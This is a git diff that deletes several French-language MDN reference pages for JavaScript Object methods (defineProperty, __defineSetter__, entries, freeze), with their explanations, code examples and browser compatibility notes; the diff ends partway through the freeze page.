- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html deleted file mode 100644 index e7222df8ba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html +++ /dev/null @@ -1,421 +0,0 @@ ---- -title: Object.defineProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperty -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty ---- -
{{JSRef}}
- -

La méthode statique Object.defineProperty() permet de définir une nouvelle propriété ou de modifier une propriété existante, directement sur un objet. La méthode renvoie l'objet modifié.

- -
-

Note : Cette méthode est directement appelée via le constructeur {{jsxref("Object")}} plutôt que sur les instances de type Object.

-
- -
{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}
- - - -

Syntaxe

- -
Object.defineProperty(obj, prop, descripteur)
- -

Paramètres

- -
-
obj
-
L'objet sur lequel on souhaite définir ou modifier une propriété.
-
prop
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on définit ou qu'on modifie.
-
descripteur
-
Le descripteur de la propriété qu'on définit ou qu'on modifie.
-
- -

Valeur de retour

- -

L'objet qui a été passé à la fonction et qui a éventuellement été modifié.

- -

Description

- -

Cette méthode permet d'ajouter ou de modifier une propriété d'un objet avec une certaine précision. En effet, quand on ajoute une propriété « normalement » (via une affectation), on crée une propriété dont le comportement par défaut fait qu'elle sera listée dans une énumération de propriétés (par exemple avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou via la méthode {{jsxref("Object.keys")}}), dont la valeur peut être changée et qui peut être supprimée via {{jsxref("Opérateurs/L_opérateur_delete","delete")}}. La méthode Object.defineProperty() permet de préciser le comportement attendu, potentiellement différent de celui par défaut.

- -

Les descripteurs de propriété existent en deux versions : les descripteurs de données et les descripteurs d'accesseur. Un descripteur de données est une propriété qui possède une valeur et qui peut ou non être accessible en écriture. Un descripteur d'accesseur est une propriété décrite par une paire d'accesseur/mutateur (getter/setter) qui sont des fonctions. Un descripteur est un descripteur de données ou un descripteur d'accesseur, il ne peut pas être les deux.

- -

Les descripteurs de données et d'accesseur sont des objets. Ils partagent les propriétés suivantes (la valeur par défaut indiquée est utilisée lorsqu'on passe par Object.defineProperty()) :

- -
-
configurable
-
true si et seulement si le type de ce descripteur de propriété peut être changé et si la propriété peut/pourra être supprimée de l'objet correspondant..
- La valeur par défaut est false.
-
enumerable
-
true si et seulement si la propriété apparaît lors de l'énumération des propriétés de l'objet correspondant.
- La valeur par défaut est false.
-
- -

Un descripteur de données possède les propriétés optionnelles suivantes :

- -
-
value
-
La valeur associée à la propriété. Peut être n'importe quelle valeur JavaScript valide (un nombre, un objet, etc.).
- La valeur par défaut est {{jsxref("undefined")}}.
-
writable
-
true si et seulement si la valeur associée à la propriété peut être modifiée en utilisant un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.
- La valeur par défaut est false.
-
- -

Un descripteur d'accesseur possède les propriétés optionnelles suivantes :

- -
-
get
-
Une fonction qui est utilisée comme accesseur (getter) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas d'accesseur. La valeur de retour de la fonction sera utilisée comme valeur pour la propriété. Lorsqu'on accède à la propriété, la fonction est appelée sans argument avec this qui est l'objet pour lequel on souhaite consulter la propriété.
- La valeur par défaut est {{jsxref("undefined")}}.
-
set
-
Une fonction qui est utilisée comme mutateur (setter) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas de mutateur. Pour unique argument, la fonction recevra la nouvelle valeur à affecter à la propriété. Le contexte this passé est l'objet sur lequel on souhaite modifier la propriété.
- La valeur par défaut est {{jsxref("undefined")}}.
-
- -

Si un descripteur ne possède aucune des clés value, writable, get ou set, il est considéré comme un descripteur de données. Si un descripteur possède à la fois une propriété value ou writable et une propriété get ou set, un exception sera déclenchée.

- -

Il faut garder à l'esprit que ces options ne sont pas nécessairement les descripteurs des propriétés propres. Elles peuvent être héritées et faire partie de la chaine des prototypes. Afin de s'assurer que les valeur par défaut sont préservées, on peut d'abord geler le prototype {{jsxref("Object.prototype")}}, définir toutes les options explicitement ou faire pointer la propriété {{jsxref("Object.prototype.__proto__", "__proto__")}} vers {{jsxref("null")}} (par exemple avec {{jsxref("Object.create","Object.create(null)")}}).

- -
var obj = {};
-// en utilisant __proto__
-Object.defineProperty(obj, "clé", {
-  __proto__: null, // aucune propriété héritée
-  value: "static"  // non énumérable
-                   // non configurable
-                   // non accessible en écriture
-                   // par défaut
-});
-
-// en étant explicite
-Object.defineProperty(obj, "clé", {
-  enumerable: false,
-  configurable: false,
-  writable: false,
-  value: "static"
-});
-
-// en recyclant un objet
-function avecValeur(valeur) {
-  var d = avecValeur.d || (
-    avecValeur.d = {
-      enumerable: false,
-      writable: false,
-      configurable: false,
-      value: null
-    }
-  );
-  if(d.value !== valeur){
-    d.value = valeur;
-  }
-  return d;
-}
-// ... autres instructions... puis
-Object.defineProperty(obj, "clé", avecValeur("static"));
-
-// si la méthode freeze est disponible,
-// on peut empêcher que du code ajoute des
-// propriétés (valeur, get, set, enumerable,
-// writable, configurable) au prototype d'Object
-(Object.freeze||Object)(Object.prototype);
- -

Exemples

- -

Pour plus d'exemples utilisant la méthode Object.defineProperty avec une syntaxe de masque binaire, voir les exemples supplémentaires.

- -

Créer une propriété

- -

Lorsqu'une propriété n'existe pas pour l'objet, Object.defineProperty() créera une nouvelle propriété telle qu'elle est décrite. Certains champs du descripteur peuvent manquer, les valeurs par défaut seront alors utilisées. Tous les booléens ont false pour valeur par défaut. Une propriété définie sans get/set/value/writable est appelée « générique » et « correspond » à un descripteur de données.

- -
var o = {}; // on crée un nouvel objet
-
-// Exemple d'une propriété ajoutée via defineProperty
-// avec un descripteur de données
-Object.defineProperty(o, "a", {value : 37,
-                               writable : true,
-                               enumerable : true,
-                               configurable : true});
-// la propriété 'a' existe pour l'objet o et vaut 37
-
-// Exemple d'une propriété ajoutée via defineProperty
-// avec un descripteur d'accesseur
-var valeurB = 38;
-Object.defineProperty(o, "b", {get : function(){ return valeurB; },
-                               set : function(nouvelleValeur){
-                                           valeurB = nouvelleValeur;
-                                     },
-                               enumerable : true,
-                               configurable : true});
-o.b; // 38
-// la propriété 'b' existe pour l'objet o
-// et vaut 38
-// La valeur de o.b est désormais toujours
-// identique à valeurB, sauf si o.b est redéfini
-
-// On ne peut pas mélanger les deux :
-Object.defineProperty(o, "conflit", { value: 0x9f91102,
-                                       get: function() {
-                                            return 0xdeadbeef;
-                                       }
-                                     });
-// une exception TypeError sera lancée : value n'apparaît
-// que dans les descripteurs de données
-// get n'apparait que dans les descripteurs d'accesseur
-
- -

Modifier une propriété existante

- -

Quand une propriété existe d'ores et déjà pour un objet, Object.defineProperty() tentera de modifier la propriété pour qu'elle corresponde aux valeurs indiquées dans le descripteur et à la configuration de l'objet courant. Si l'ancien descripteur avait configurable à  false (la propriété est dite non-configurable), aucun attribut, à l'exception de writable, ne peut être changé. Dans ce cas, il n'est pas possible de changer entre les types de descripteur.

- -

Si une propriété est non-configurable, son attribut writable ne peut être mis qu'à false.

- -

Une exception {{jsxref("TypeError")}} peut être levée quand on essaie de modifier des attributs de propriété non-configurables (en dehors des attributs value et writable) sauf dans le cas où les valeurs souhaitées sont les mêmes que les valeurs courantes.

- -

Attribut writable

- -

Lorsque l'attribut writable vaut false pour la propriété, cette dernière n'est plus accessible en écriture. Il est impossible de la réaffecter.

- -
var o = {}; // On crée un nouvel objet
-
-Object.defineProperty(o, "a", { value : 37,
-                                writable : false });
-
-console.log(o.a); // inscrit 37 dans les journaux (logs)
-o.a = 25; // Aucune exception n'est lancée (on aurait une
-          // exception en mode strict, y compris si la
-          // valeur souhaitée avait été la même)
-console.log(o.a); // inscrit toujours 37.
-                  //L'affectation n'a pas fonctionné.
- -
// En mode strict
-(function() {
-  'use strict';
-  var o = {};
-  Object.defineProperty(o, 'b', {
-    value: 2,
-    writable: false
-  });
-  o.b = 3; // déclenche une TypeError: "b" est en lecture seule
-  return o.b; // renvoie 2 sans la ligne précédente
-}());
-
- -

Comme on l'a vu dans l'exemple, essayer de modifier une propriété non accessible en écriture ne la modifie pas. Cela ne rend pas d'erreur non plus (en mode non-strict).

- -

Attribut enumerable

- -

L'attribut de propriété enumerable permet de définir si la propriété est sélectionnée par {{jsxref("Object.assign()")}} ou via l'opérateur de décomposition (spread). Pour les propriétés qui ne sont pas nommées avec des symboles, les propriétés énumérables correspondent aux propriétés qui sont listées avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou avec la méthode {{jsxref("Object.keys()")}}.

- -
var o = {};
-Object.defineProperty(o, 'a', {
-  value: 1,
-  enumerable: true
-});
-Object.defineProperty(o, 'b', {
-  value: 2,
-  enumerable: false
-});
-Object.defineProperty(o, 'c', {
-  value: 3
-}); // enumerable vaut false par défaut
-o.d = 4; // enumerable vaut true par défaut
-         // lorsqu'on crée une propriété
-         // en la définissant
-Object.defineProperty(o, Symbol.for('e'), {
-  value: 5,
-  enumerable: true
-});
-Object.defineProperty(o, Symbol.for('f'), {
-  value: 6,
-  enumerable: false
-});
-
-for (var i in o) {
-  console.log(i);
-}
-// affiche 'a' et 'd' (dans un ordre indéfini)
-
-Object.keys(o); // ['a', 'd']
-
-o.propertyIsEnumerable('a'); // true
-o.propertyIsEnumerable('b'); // false
-o.propertyIsEnumerable('c'); // false
-o.propertyIsEnumerable('d'); // true
-o.propertyIsEnumerable(Symbol.for('e')); // true
-o.propertyIsEnumerable(Symbol.for('f')); // false
-
-var p = { ...o }
-p.a // 1
-p.b // undefined
-p.c // undefined
-p.d // 4
-p[Symbol.for('e')] // 5
-p[Symbol.for('f')] // undefined
-
- -

Attribut configurable

- -

L'attribut configurable permet de contrôler si la propriété peut être supprimée et si les autres attributs de propriété (voir ci-avant), à l'exception de value ou de writable, peuvent être modifiés.

- -
var o = {};
-Object.defineProperty(o, "a", { get : function(){return 1;},
-                                configurable : false } );
-
-Object.defineProperty(o, "a", {configurable : true});
-// renvoie une TypeError
-
-Object.defineProperty(o, "a", {enumerable : true});
-// renvoie une TypeError
-
-Object.defineProperty(o, "a", {set : function(){}});
-// renvoie une TypeError (set était non défini avant)
-
-Object.defineProperty(o, "a", {get : function(){return 1;}});
-// renvoie une TypeError
-// (bien que le nouveau get soit identique au précédent)
-
-Object.defineProperty(o, "a", {value : 12});
-// renvoie une TypeError
-
-console.log(o.a); // log 1
-delete o.a; // Rien ne se passe
-console.log(o.a); // log 1
-
- -

Si l'attribut configurable de o.a avait été true, aucune de ces erreurs n'aurait été renvoyée et la propriété aurait été supprimée au final.

- -

Ajouter des propriétés et des valeurs par défaut

- -

Il est toujours important de savoir comment les valeurs par défaut sont appliquées. Le comportement est souvent différent entre une affectation simple et l'utilisation de Object.defineProperty(). Par exemple :

- -
var o = {};
-
-o.a = 1;
-// est équivalent à :
-Object.defineProperty(o, "a", {value : 1,
-                               writable : true,
-                               configurable : true,
-                               enumerable : true});
-
-
-// D'un autre côté,
-Object.defineProperty(o, "a", {value : 1});
-// sera équivalent à :
-Object.defineProperty(o, "a", {value : 1,
-                               writable : false,
-                               configurable : false,
-                               enumerable : false});
-
- -

Accesseurs et mutateurs adaptés

- -

L'exemple ci-dessous illustre comment implémenter un objet qui archive des données. Lorsque la propriété température est définie, on ajoute une entrée au tableau archive :

- -
function Archiviste() {
-  var température = null;
-  var archive = [];
-
-  Object.defineProperty(this, "température",{
-    get: function() {
-      console.log("accès !");
-      return température;
-    },
-    set: function(value) {
-      température = value;
-      archive.push({val: température});
-    }
-  });
-
-  this.getArchive = function() {return archive;};
-}
-
-var arc = new Archiviste();
-arc.température; // "accès !"
-arc.température = 11;
-arc.température = 13;
-arc.getArchive(); // [{val: 11}, {val: 13}]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉ tatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}{{Spec2('ES6')}}
-

{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}

- 		{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.defineProperty")}}

- -

Notes de compatibilité

- -

Redéfinir la propriété length d'un tableau (Array)

- -

Il est possible de redéfinir la propriété {{jsxref("Array.length", "length")}} utilisée pour les tableaux, avec les restrictions vues. (La propriété length est initialement non-configurable, non-enumérable et accessible en écriture (writable vaut true)). Ainsi, sur un tableau, si rien n'a été fait, on peut modifier la valeur de la propriété length ou la rendre non accessible en écriture. Il n'est pas permis de changer son caractère énumérable ou configurable. Cependant, tous les navigateurs n'autorisent pas cette redéfinition.

- -

Les versions de Firefox 4 à 22 renverront une exception {{jsxref("TypeError")}} pour chaque tentative (licite ou non) de modification de la propriété length d'un tableau.

- -

Pour les versions de Chrome qui implémentent Object.defineProperty(), elles ignorent, dans certaines circonstances, une redéfinition de la propriété utilisant une valeur différente de la valeur courante de length. Sous certaines circonstances, le changement de l'accès en écriture n'aura aucun effet (et ne renverra aucune exception). Les méthodes relatives comme  {{jsxref("Array.prototype.push")}} ne respectent pas le non accès en écriture.

- -

Pour les versions de Safari qui implémentent Object.defineProperty() elles ignorent la redéfinition d'une valeur différente de la valeur courante. Toute tentative de modifier l'accès en écriture échouera silencieusement (aucune modification effective, aucune exception renvoyée).

- -

Seules les versions Internet Explorer 9 et supérieures et Firefox 23 et supérieures semblent supporter complètement la redéfinition de la propriété length pour les tableaux. À l'heure actuelle, il n'est pas conseillé de s'attendre à ce qu'une telle redéfinition fonctionne ou ne fonctionne pas. Même dans le cas où on peut supposer que cela fonctionne de façon cohérente : ce n'est pas vraiment une bonne idée de le faire (en anglais).

- -

Notes spécifiques relatives à Internet Explorer 8

- -

Internet Explorer 8 a implémenté une méthode Object.defineProperty() uniquement utilisable sur les objets DOM. Quelques éléments sont à noter :

- -
    -
  • L'utilisation de Object.defineProperty() sur les objets natifs renvoie une erreur.
    • -
  • Les attributs de propriétés doivent être définis avec certaines valeurs. true (pour Configurable), true (pour enumerable), true (pour writable) pour les descripteurs de données et true pour configurable, false pour enumerable pour les descripteurs d'accesseur. Fournir d'autres valeurs résultera en une erreur (à confirmer).
    • -
  • Pour modifier une propriété, il faut d'abord la supprimer. Si ça n'a pas été fait, elle reste telle quelle.
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html deleted file mode 100644 index 21dce0f35e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Object.prototype.__defineSetter__() -slug: Web/JavaScript/Reference/Objets_globaux/Object/defineSetter -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__ ---- -
{{JSRef}}
- -
-

Attention : Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et la syntaxe d'initialisation d'objets. Toutefois, __defineGetter__ est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.

-
- -

La méthode __defineSetter__ permet de lier une propriété d'un objet à une fonction qui sera exécutée pour toute tentative de définition/changement de cette propriété.

- -

Syntaxe

- -
obj.__defineSetter__(prop, fun)
- -

Paramètres

- -
-
prop
-
Une chaîne de caractères qui contient le nom de la propriété qu'on souhaite lier à la fonction.
-
fun
-
Une fonction à appeler pour chaque modification de la propriété. Cette fonction prend la forme suivante : - 
function(val) { . . . }
- -
-
val
-
Un alias pour la variable contenant la nouvelle valeur qu'on souhaite affecter à prop.
-
-
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Description

- -

La méthode __defineSetter__ permet de définir un {{jsxref("Opérateurs/L_opérateur_set", "mutateur", "", 1)}} sur un objet pré-existant.

- -

Exemples

- -
// Méthode non-standard et dépréciée
-
-var o = {};
-o.__defineSetter__('valeur', function(val) { this.uneAutreValeur = val; });
-o.valeur = 5;
-console.log(o.valeur); // undefined
-console.log(o.uneAutreValeur); // 5
-
-
-// Façons standard
-
-// En utilisant l'opérateur set
-var o = { set valeur(val) { this.uneAutreValeur = val; } };
-o.valeur = 5;
-console.log(o.valeur); // undefined
-console.log(o.uneAutreValeur); // 5
-
-// En utilisant Object.defineProperty
-var o = {};
-Object.defineProperty(o, 'valeur', {
-  set: function(val) {
-    this.uneAutreValeur = val;
-  }
-});
-o.valeur = 5;
-console.log(o.valeur); // undefined
-console.log(o.uneAutreValeur); // 5
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__defineSetter__', 'Object.prototype.__defineSetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.defineSetter")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html deleted file mode 100644 index 3677bdc3f1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Object.entries() -slug: Web/JavaScript/Reference/Objets_globaux/Object/entries -tags: - - ECMAScript2016 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries ---- -
{{JSRef}}
- -

La méthode Object.entries() renvoie un tableau des propriétés propres énumérables d'un objet dont la clé est une chaîne de caractères, sous la forme de paires [clé, valeur], dans le même ordre qu'une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle for-in est différente car elle parcourt la chaîne des prototypes).

- -

L'ordre du tableau renvoyé par cette méthode ne dépend pas de la façon dont l'objet est défini. S'il faut garantir un certain ordre, on pourra utiliser la méthode {{jsxref("Array.sort()")}}.

- -
{{EmbedInteractiveExample("pages/js/object-entries.html")}}
- - - -

Syntaxe

- -
Object.entries(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite connaître les propriétés propres énumérables dont la clé est une chaîne de caractères, sous la forme de paires [clé, valeur].
-
- -

Valeur de retour

- -

Un tableau qui contient les propriétés énumérables propres de l'objet sous la forme de paires [clé, valeur].

- -

Description

- -

Object.entries() renvoie un tableau dont les éléments sont des paires (des tableaux à deux éléments)  [clé, valeur] qui correspondent aux propriétés énumérables qui sont directement présentes sur l'objet passé en argument. L'ordre du tableau est le même que celui utilisé lorsqu'on parcourt les valeurs manuellement.

- -

Exemples

- -
var obj = { toto: "truc", machin: 42 };
-console.log(Object.entries(obj)); // [ ['toto', 'truc'], ['machin', 42] ]
-
-// Un objet semblable à un tableau
-var obj = { 0: 'a', 1: 'b', 2: 'c' };
-console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
-
-// Un objet semblable à un tableau
-// dont les clés sont aléatoirement ordonnées
-var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
-console.log(Object.entries(un_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
-
-// getToto est une propriété non énumérable
-var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
-mon_obj.toto = "truc";
-console.log(Object.entries(mon_obj)); // [ ['toto', 'truc'] ]
-
-// un argument de type primitif sera
-// converti en un objet
-console.log(Object.entries("toto")); // [ ['0', 't'], ['1', 'o'], ['2', 't'],  ['3', 'o'] ]
-
-// Un tableau vide pour les types primitifs qui n'ont pas de propriétés
-console.log(Object.entries(100)); // [ ]
-
-// parcourir les clés-valeurs
-var autreObjet = {a:5, b:7, c:9};
-
-for (var [cle, valeur] of Object.entries(autreObjet)){
-  console.log(cle + ' ' + valeur);
-}
-
-// Ou encore, en utilisant les méthodes génériques
-Object.entries(autreObjet).forEach(([clé, valeur]) => {
-  console.log(clé + ' ' + valeur);
-});
-
- -

Convertir un objet en Map

- -

Le constructeur {{jsxref("Map", "new Map()")}} accepte un argument itérable pour décrire les entrées du tableau associatif. Grâce à Object.entries, il est possible de convertir simplement un objet {{jsxref("Object")}} en un objet {{jsxref("Map")}} :

- -
var obj = { toto: "truc", machin: 42 };
-var map = new Map(Object.entries(obj));
-console.log(map); // Map { toto: "truc", machin: 42 }
- -

Parcourir un objet

- -

En utilisant la décomposition des tableaux, on peut simplement parcourir les différentes propriétés d'un objet :

- -
const obj = { toto: "truc", bidule: 42 };
-Object.entries(obj).forEach(
-  ([clé, valeur]) => console.log(`${clé}: ${valeur}`)
-);
-// "toto: truc"
-// "bidule: 42"
- -

Prothèse d'émulation (polyfill)

- -

Afin d'ajouter le support pour Object.entries dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt tc39/proposal-object-values-entries ou sur le dépôt es-shims/Object.entries.

- -

Vous pouvez également utiliser la prothèse suivante (qui nécessitera la prothèse pour Object.prototype.keys() si on souhaite être compatible avec IE 8 et les versions antérieures) :

- -
if (!Object.entries) {
-  Object.entries = function( obj ){
-    var ownProps = Object.keys( obj ),
-        i = ownProps.length,
-        resArray = new Array(i);
-    while (i--)
-      resArray[i] = [ownProps[i], obj[ownProps[i]]];
-
-    return resArray;
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.entries")}}

-
- -

Voir aussi

- -
    -
  • Énumérabilité et rattachement des propriétés
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Object.values()")}}
    • -
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • -
  • {{jsxref("Object.create()")}}
    • -
  • {{jsxref("Object.fromEntries()")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Map.prototype.entries()")}}
    • -
  • {{jsxref("Map.prototype.keys()")}}
    • -
  • {{jsxref("Map.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html b/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html deleted file mode 100644 index e8c8d7febe..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html +++ /dev/null @@ -1,257 +0,0 @@ ---- -title: Object.freeze() -slug: Web/JavaScript/Reference/Objets_globaux/Object/freeze -tags: - - ECMAScript 5 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze ---- -
{{JSRef}}
- -

La méthode Object.freeze() permet de geler un objet, c'est-à-dire qu'on empêche d'ajouter de nouvelles propriétés, de supprimer ou d'éditer des propriétés existantes, y compris en ce qui concerne leur caractère énumérable, configurable ou pour l'accès en écriture. L'objet devient ainsi immuable. La méthode renvoie l'objet ainsi « gelé ».

- -
{{EmbedInteractiveExample("pages/js/object-freeze.html")}}
- - - -

Syntaxe

- -
Object.freeze(obj)
- -

Paramètres

- -
-
obj
-
L'objet à geler.
-
- -

Valeur de retour

- -

L'objet qui a été passé à la fonction.

- -

Description

- -

Rien ne pourra être ajouté ou supprimé dans l'ensemble des propriétés de l'objet gelé. Toute tentative échouera, silencieusement ou via une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Strict_mode", "mode strict", "", 1)}}).

- -

Les propriétés qui sont des données ne pourront pas être changées et les attributs writable et configurable vaudront false. Les propriétés qui sont des accesseurs ou des mutateurs fonctionneront de la même façon (et ne changeront pas la valeur associée malgré le fait qu'il n'y ait pas d'erreur). Les propriétés dont les valeurs sont des objets pourront être modifiées si ces objets ne sont pas gelés. Les tableaux peuvent également être gelés ce qui empêche alors d'ajouter ou de retirer des éléments ou de modifier les éléments existants si ceux-ci ne sont pas des objets.

- -

La fonction renvoie l'objet passé en argument, elle ne crée pas une copie « gelée ».

- -

Exemples

- -

Geler des objets

- -
var obj = {
-  prop: function (){},
-  toto: "truc"
-};
-
-// On peut ajouter de nouvelles propriétés,
-// éditer ou supprimer celles existantes
-obj.toto = "machin";
-obj.bidule = "woof";
-delete obj.prop;
-
-// L'argument et la valeur renvoyée correspondent au
-// même objet.
-// Il n'est pas nécessaire d'utiliser la valeur renvoyée
-// pour geler l'objet original.
-var o = Object.freeze(obj);
-
-o === obj; // true
-Object.isFrozen(obj); // true
-
-// Maintenant que l'objet est gelé, les changements échoueront
-obj.toto = "eheh"; // échoue silencieusement
-obj.roxor = "ga bu zo meu"; // échoue silencieusement et n'ajoute
-                            // pas la propriété
-
-// ...en mode strict, l'échec se traduira par une exception TypeErrors
-function echec(){
-  "use strict";
-  obj.toto = "bipbip"; // renvoie une TypeError
-  delete obj.toto;     // renvoie une TypeError
-  delete obj.roxor;    // renvoie true car l'attribut n' a pas été ajouté
-  obj.bipbip = "arf";  // renvoie une  TypeError
-}
-
-echec();
-
-// Les changements via Object.defineProperty échoueront également
-// renvoie une TypeError
-Object.defineProperty(obj, "ohoh", { value: 17 });
-// renvoie une TypeError
-Object.defineProperty(obj, "toto", { value: "eit" });
-
-// Il est également impossible de modifier le prototype.
-// Les deux instructions suivantes déclencheront une TypeError.
-Object.setPrototypeOf(obj, { x: 20 });
-obj.__proto__ = { x: 20 };
-
- -

Geler un tableau

- -
let a = [0];
-Object.freeze(a);
-// Le tableau ne peut plus être modifié
-
-a[0] = 1;  // échoue silencieusement
-a.push(2); // échoue silencieusement
-
-// en mode strict, de telles tentatives
-// déclencheront des exceptions TypeError
-function echec() {
-  "use strict"
-  a[0] = 1;
-  a.push(2);
-}
-
-echec();
-
- -

L'exemple qui suit illustre comment les propriétés qui sont des objets peuvent être éditées (la méthode freeze ne s'applique que sur l'objet courant et de façon superficielle).

- -
obj1 = {
-  internal: {}
-};
-
-Object.freeze(obj1);
-obj1.internal.a = 'valeurA';
-
-obj1.internal.a // 'valeurA'
- -

L'objet qui est gelé est immuable mais ce n'est pas nécessairement une constante. Pour obtenir une constante, il faut que l'ensemble des références (directes et indirectes) pointe vers des objets immuables. Les chaînes de caractères, les nombres et les booléens sont toujours immuables. La plupart du temps, on aura besoin de créer des constantes au cas par cas (et non de façon générale).

- -

Qu'est-ce que le gel « superficiel » ? (shallow freeze)

- -

Lorsqu'on appelle Object.freeze(monObjet), le gel ne s'applique qu'aux propriétés directement rattachées à monObjet. L'ajout, la suppression ou la réaffectation ne sont empêchées que sur l'objet directement. Si les valeurs de ces propriétés sont également des objets, ces derniers ne sont pas gelés et on peut leur ajouter/supprimer/réaffecter des valeurs.

- -
var employé = {
-  nom: "Leroy",
-  designation: "Développeur",
-  adresse: {
-    cp: "72000",
-    ville: "Le Mans"
-  }
-};
-
-Object.freeze(employé);
-
-employé.nom = "John"; // propriété directe, la réaffectation échoue en silence
-employé.adresse.ville = "Paris"; // propriété d'un objet fils : modifiable
-
-console.log(employé.adresse.ville); // affichera Paris
-
- -

Pour rendre l'objet complètement immuable, on gèle chacun des objets qu'il contient. Voici un exemple simple de fonction pour parcourir les propriétés qui sont des objets et les geler (attention, cela ne gère pas le cas où on a des cycles de références, ce qui entraînerait une boucle infinie).

- -
function deepFreeze(obj) {
-
-  // On récupère les noms des propriétés définies sur obj
-  var propNames = Object.getOwnPropertyNames(obj);
-
-  // On gèle les propriétés avant de geler l'objet
-  for(let name of propNames){
-    let value = obj[name];
-    obj[name] = value && typeof value === "object" ?
-      deepFreeze(value) : value;
-  }
-
-  // On gèle l'objet initial
-  return Object.freeze(obj);
-}
-
-obj2 = {
-  internal: {
-    a: null
-  }
-};
-
-deepFreeze(obj2);
-obj2.internal.a = 'valeurB'; // échouera silencieusement en mode non-strict
-obj2.internal.a; // null
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais est d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ECMAScript 2015 (ES2015), un argument qui n'est pas un objet sera traité comme un objet ordinaire gelé et sera renvoyé tel quel par la méthode.

- -
Object.freeze(1);
-// TypeError: 1 is not an object - code ES5
-
-Object.freeze(1);
-// 1                             - code ES2015
- -

Geler un {{domxref("ArrayBufferView")}} contenant des éléments entraînera une exception {{jsxref("TypeError")}} car ce sont des vues sur des zones mémoires.

- -
> Object.freeze(new Uint8Array(0)) // Aucun élément
-Uint8Array []
-
-> Object.freeze(new Uint8Array(1)) // Avec des éléments
-TypeError: Cannot freeze array buffer views with elements
-
-> Object.freeze(new DataView(new ArrayBuffer(32))) // Aucun élément
-DataView {}
-
-> Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // Aucun élément
-Float64Array []
-
-> Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // Avec des éléments
-TypeError: Cannot freeze array buffer views with elements
-
- -

On notera que les trois propriétés standard (buf.byteLength, buf.byteOffset et buf.buffer) sont en lecture seule (comme pour {{jsxref("ArrayBuffer")}} et {{jsxref("SharedArrayBuffer")}}) : il n'y a donc aucune raison de vouloir geler ces propriétés.

- -

Comparaison avec Object.seal()

- -

